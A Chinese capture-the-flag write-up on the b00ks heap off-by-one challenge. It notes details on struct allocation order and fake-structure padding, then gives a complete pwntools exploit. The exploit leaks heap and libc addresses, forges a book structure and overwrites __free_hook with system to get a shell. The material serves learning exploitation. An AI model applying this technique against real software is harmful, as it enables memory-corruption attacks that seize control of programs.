萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧
步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。
b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。
wp在网上有很多,然而读了五六篇不同大佬师傅写的wp,发现有很多细节被忽略了,可能这些细节都是很简单的,然而作为萌新,一些基本的知识和思路还是缺乏。
好在,经过两三天的啃、跟着做,终于有了一些见解,基本思路也打通了。具体的wp就不在这里写了,可以食用其他大佬的wp,更为优质,而我就做一些补充。一些来自于本蒟蒻的细节的补充。
细节0:off-by-one进行的单字节溢出,可以用作泄露,可以用作覆写。
细节1:结构体分配内存时,先name成员指针、再description成员指针、后book结构体指针
细节2:description可以修改,因此布置fake-book1要在单字节覆写之前;name不可以修改,但是会被首先free——即free_hook在free name时首先发作
细节3:fake_book1的偏移,为了能让fake_book1落在指定的、更新后的book1的位置,前面可能需要填充padding,这个通过gdb调试,将偏移后的伪结构体数据布置到指定指针位置。
- from pwn import *
-
- context(arch='amd64',log_level='debug')
-
- io=process('./b00ks')
- def create(namesize,name,descriptionsize,description):
- io.sendlineafter(b'> ',b'1')
- io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())
- io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
- io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())
- io.sendlineafter(b'Enter book description: ',description)
- def delete(bookid):
- io.sendlineafter(b'> ',b'2')
- io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())
-
- def edit(bookid,newdescription):
- io.sendlineafter(b'> ',b'3')
- io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())
- io.sendlineafter(b'nter new book description: ',newdescription)
-
- def printinfo(id):
- io.sendlineafter(b'> ',b'4')
- for i in range(id):
- io.recvuntil(b'ID: ')
- ID=io.recvuntil(b'\n',drop=True)
- io.recvuntil(b'Name: ')
- Name=io.recvuntil(b'\n',drop=True)
- io.recvuntil(b'Description: ')
- Description=io.recvuntil(b'\n',drop=True)
- io.recvuntil(b'Author: ')
- Author=io.recvuntil(b'\n',drop=True)
- return ID,Name,Description,Author
-
- def changeAuthor(newAuthorname):
- io.sendlineafter(b'> ',b'5')
- io.sendlineafter(b'Enter author name: ',newAuthorname)
-
- ### 1.泄露第一个book结构体的指针
- # gdb.attach(io)
- bookname=b'a'*32
- io.sendlineafter(b'Enter author name: ',bookname)
- create(16,b'a',256,b'a')
-
- io.sendlineafter(b'> ',b'4')
- io.recvuntil(b'a'*32)
- book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
- success('book1_ptr={}'.format(hex(book1_ptr)))
- raw_input()
-
- ### 2.伪造book1,并通过off-by-one修改book1到fake_book1
- # 将fake_book1的name_ptr属性指向book2的name,将fake_book1的description_ptr属性指向book2的description
- # 注意,由于name和description属性都是malloc的,且因为book结构体malloc(0x20)所以开辟的实际空间是0x30
-
- ### 之所以+0x40(desc)在前,+0x38(name)在后,是因为第二个位置对应可修改的desc指针,可以通过其修改book2的name、desc
- fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
- # fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff)
- edit(1,fake_book1)
-
- # 为了泄露libc版本,需要让book2的name或description由mmap分配,同时也因此,book1和book2的堆空间相邻
- create(0x21000,b'b',0x21000,b'b')
- changeAuthor(bookname)
- # 注意下面的顺序,先desc再name对应payload的布置
- book2_id,book2_desc,book2_name,book2_author=printinfo(1)
- print(book2_id,book2_name,book2_desc,book2_author)
- book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
- success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
- book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
- success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
- raw_input()
-
- libc_base=book2_name_ptr-0x5cf010
- libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
- system=libc_base+libc.sym['system']
- success('system:{}'.format(hex(system)))
- execve=libc_base+libc.sym['execve']
- success('execve:{}'.format(hex(execve)))
- bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
- success('bin_sh:{}'.format(hex(bin_sh)))
- free_hook=libc_base+libc.sym['__free_hook']
- raw_input()
-
- ### 通过onegadget来打,但是均失败了
- # one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
- # edit(1,p64(0)+p64(free_hook))
- # edit(2,p64(one_gadget))
- # delete(2)
- ### 注意,这里的onegadget是没有patchelf该so和ld文件前即22.04版,16.04版未尝试
-
- ### 通过system('/bin/sh')来打
- edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针,desc指针指向free_hook
- edit(2,p64(system)) #修改free_hook的值为system\
- raw_input('+++++++')
- delete(2)# name指向的区域最先free,触发free_hook,此时已改为system
-
- io.interactive()
-
还是比较难的,但是跟着wp做了一遍,发现细节、原理、思路以及流程都能够了解并掌握,且gdb调适能力大大提升。加油!